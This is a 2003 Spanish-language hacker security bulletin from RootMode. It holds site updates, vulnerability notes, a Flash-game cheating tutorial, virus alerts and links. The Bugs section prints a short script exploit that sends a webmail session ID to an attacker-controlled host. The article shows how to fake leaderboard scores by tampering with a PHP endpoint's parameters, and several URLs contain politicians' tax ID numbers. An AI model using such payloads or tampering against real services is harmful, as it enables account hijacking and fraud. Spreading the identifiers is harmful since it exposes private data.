RootMode - Nro: 1er boletín
Boletín de seguridad informática de [RootMode]
Nro: 1er boletín
Sábado, 24 de Mayo de 2003
http://rootmode.com.ar
INDICE
- Introduccion
- Updates de RootMode
- Bugs
- Artículos
- Novedades Víricas
- FAQ
- Links
- The End
[1] Bienvenidos al 1er boletín de seguridad informática y otros aspectos del Under
RootMode fue un proyecto que tuve hace mucho tiempo, el cual luego de muchas insistencias decidí concretar.
La intencion del sitio es la de comunicar, enseñar y esparcir todos los conocimientos e información referida a la seguridad y al Under.
Es por eso que en el boletín se tratan de tocar todos los temas posibles y hacer un boletín bien completo que a todos agrade.
Ya con esta breve intro comenzamos con el boletín en sí .. Enjoy it!
[2] Updates de RootMode
- La parte Top Secret de la sección telefonía esta habilitada con 295 archivos con millones de frecuencias de todo tipo. Imperdible. http://rootmode.com.ar/tele.php
- Se actualizaron las bases de datos con toda la información de los chantas que estuvieron en nuestro país:
Fernando de la Rua: http://rootmode.com.ar/Secciones/Misc/Archivos/escraches/De%20La%20Rua/DE%20LA%20RUA-CUIT%2020065019826.htm
Saul Menem y derivados: http://rootmode.com.ar/Secciones/Misc/Archivos/escraches/Menem/
Eduardo Duhalde: http://rootmode.com.ar/Secciones/Misc/Archivos/escraches/Duhalde/DUHALDE%20EDUARDO%20ALBERTODOC-CUIT%2020077226142.htm
Domingo Cavallo: http://rootmode.com.ar/Secciones/Misc/Archivos/escraches/Cavallo/CAVALLO%20DOMINGO%20FELIPE%20DOC-CUIT%2020064442946.htm
- Subida la nueva versión de la FAQ sobre Firewalls y Secure UNIX Programming FAQ http://rootmode.com.ar/Secciones/Textos/Archivos/Faqs/Other
- Actualizada la sección de las guías de NSA http://rootmode.com.ar/Secciones/Textos/Archivos/nsa-guides/windows2000/index.html
[3] Bugs
Descarga y ejecución automática de archivos en Internet Explorer
Es posible forzar al navegador del usuario para descargar de forma automática e instalar un programa malicioso si se condiciona a que el usuario visualice un html malicioso con multiples frames que referencien a un archivo ejecutable. Este se descarga de forma silenciosa y se ejecuta con los privilegios del usuario.
Hasta el momento, no se ha publicado ninguna actualización para cubrir esta vulnerabilidad.
Acceso al buzón de cualquier usuario de correo web de Terra
Terra España, al igual que otras muchas empresas que ofrecen un servicio de webmail, utiliza el servidor iPlanet Messaging Server (la antigua Netscape y hoy una división de Sun Microsystems).
La vulnerabilidad descubierta se basa en una 'característica' ofrecida por el servidor de correo iPlanet: cuando se abre un archivo HTML asociado a un mensaje, Èste se abre dentro del contexto del servidor de correo.
Exploit:
<html>
<SCRIPT>
window.open('http://xxx.xx.xx.xxx/'+document.URL)
</SCRIPT>
<html>
"xxx.xx.xx.xxx" es una máquina que dispone de un servidor web controlado por el atacante. En el momento en que el receptor del mensaje visualice el contenido del mensaje, transmitirá al servidor web remoto una petición donde se encontrará el campo SID:
Por tanto, el atacante acaba de recibir la información básica para poder secuestrar el correo de la víctima, simplemente abriendo en su navegador una URL como la siguiente:
[4] Artículos
Hacking Flash games! & logic lessons
Si, como bien dice el título, aquí explicarÈ como realizar un hack al juego Jar Jar Kill que pueden encontrar en la siguiente web: http://www.arocoone.com/chorradas/pelis/ver.php?que=jarjar&titulo=Jar-Jar%20Kill&ancho=780&alto=350
Como pueden apreciar, en este juego la meta es matar al personaje de StarsWar, llamado Jar Jar.
Hay un contador de tiempo y puntaje el cual almacena el de todos los usuarios para luego tener un ranking de scores.
El juego en sí no es difícil, pero cuando uno ya pierde la paciencia; recurre a las trampas. ;)
Pero, como podría hacer trampa con este juego?
Lo primero, hay que notar que el juego utiliza una base de datos real para almacenar todos los datos de los jugadores que utilizaron el juego, para crear la ya mencionada tabla de scores.
Esto ya indica que es una base accesible y de fácil modificación.
En muchos casos los Flash utilizan archivos .txt como base de datos, lo cual podría ser modificado remotamente desde un flash creado por nosotros con una determinada configuración; sin ningun problema.
Con esto ya tenemos el problema y una hipotÈtica solución a la mano; solo hace falta comprobar la hipótesis y proseguir con el trabajo.
Para ello tendremos que revisar un poco (si, solo un poco) el código fuente del SWF para encontrar la variable que nos indique la ubicación de la base de datos.
Una vez que estamos mirando el código, nos encontramos con lo siguiente: http://www.arocoone.com/chorradas/conts/jarjar.php?accion=1&nombre=" +nombre+ "&dia=" +lafecha+ "&hora=" +hora+ "&puntos=" +puntos+ "&tiempo=" +tiempo"
Mucho más fácil de lo esperado. Nuestra hipótesis se cancela y nos encontramos con este nuevo planteo.
Como vemos; se utiliza un archivo PHP configurado para la automatización de los datos. Lo cual resulta de gran utilidad para nosotros ya que solo tendremos que modificar algunas variables. Paso a explicar la URL de arriba:
Esa url contiene cadenas modificables que graban dentro del php las diferentes variables. Paso a explicar cada una:
- ?accion=1 = Esta acción graba los datos. La acción 3 muestra el contenido de la base de datos
- &nombre=" +nombre+ " = Nombre del jugador
- &dia=" +lafecha+ " = La fecha en la cual se jugo
- &hora=" +hora+ " = La hora en la cual se jugo
- &puntos=" +puntos+ " = Puntaje obtenido
- &tiempo=" +tiempo+ " = El tiempo utilizado
Ya explicado esto, solo resta modificar la URL y así obtener el puntaje que queremos, en el tiempo y fecha que se nos ocurra.
Luego miren el ranking y despuÈs me cuentan. :)
Con este artículo lo que quiero dejar constar; son los pasos lógicos ante un impedimento; y el razonamiento del problema planteado.
El hacer trampa solo nos sirve para engañarnos a nosotros mismos, ganar apuestas y/o divertirnos un poco. ;)
[5] Novedades víricas
Alertas:
- W32/Naco.B: Segunda versión de este gusano capaz de propagarse por redes P2P además del correo electrónico. Posee una rutina para finalizar ciertos productos de seguridad como firewalls y antivirus.
- IRC/Flood.E: Al infectar un sistema se conecta a un servidor IRC mediante el puerto 6667 y espera comandos por parte del atacante.
- JS/StartPage: Aprovecha una vulnerabilidad en versiones anteriores a la 5.5 del Internet Explorer para ejecutarse. No posee rutinas de propagación, ni dañinas para el equipo infectado.
- W32/Duksten.L: Se propaga enviándose a todos los contactos de la Libreta de direcciones utilizando su propio motor SMTP. Los mensajes que envía posee sus textos en castellano.
- W32/Shynet: Este virus, solo posee la capacidad de propagarse mediante la red de intercambio de archivos del Kazaa.
- W32/Tarit: Este virus solo se propaga mediante usuarios de la red Kazaa copiandose a las carpetas compartidas de estos con distintos nombres de archivos.
- W32/Vote.E: Puede sobre escribir y eliminar gran cantidad de archivos en un sistema infectado. Su propagación es realizada mediante un envío masivo por correo electrónico.
El W32/Sobig.b disminuye pero sigue entre los más reportados
El promedio de reportes de este gusano, tambiÈn conocido como W32/Palyh, ha disminuido desde su descubrimiento, pero sigue entre los primeros puestos de los ránkings a nivel mundial.
Fuente: virusattack
[6] FAQ
Aquí estarán las preguntas que los usuarios envían, las cuales respondo tanto por privado como por esta sección.
Cómo puedo preguntar?
Envía tu pregunta a: faq@rootmode.com.ar
[7] Links
- Agujero Negro: http://agujero.com
- Vilecha: http://vilecha.com
- Actualidad Agujero: http://agujero.com/actualidad
- LCU: http://l-c-u.com.ar
- RootMode: http://rootmode.com.ar (Ups! este no va..) ;)
[8] The End
Por fin! Ya debe doler la vista.. :)
Realmente espero que el boletín les guste, cualquier comentario es bien recibido.
Por ultimo; (si, lo prometo; esto es lo ultimo) quiero agradecer a:
Agujero Negro - LCU - Vilecha
Por toda la ayuda brindada; que es mucha; como así tambiÈn a todos los particulares y amigos que intercambian links con RootMode.
Mil gracias
…xitos!
Zero_Byte mailto:info@rootmode.com.ar
------------------------------------
[Zero_Byte] info@rootmode.com.ar
Seguridad informática y Undeground
==> http://rootmode.com.ar <==
------------------------------------
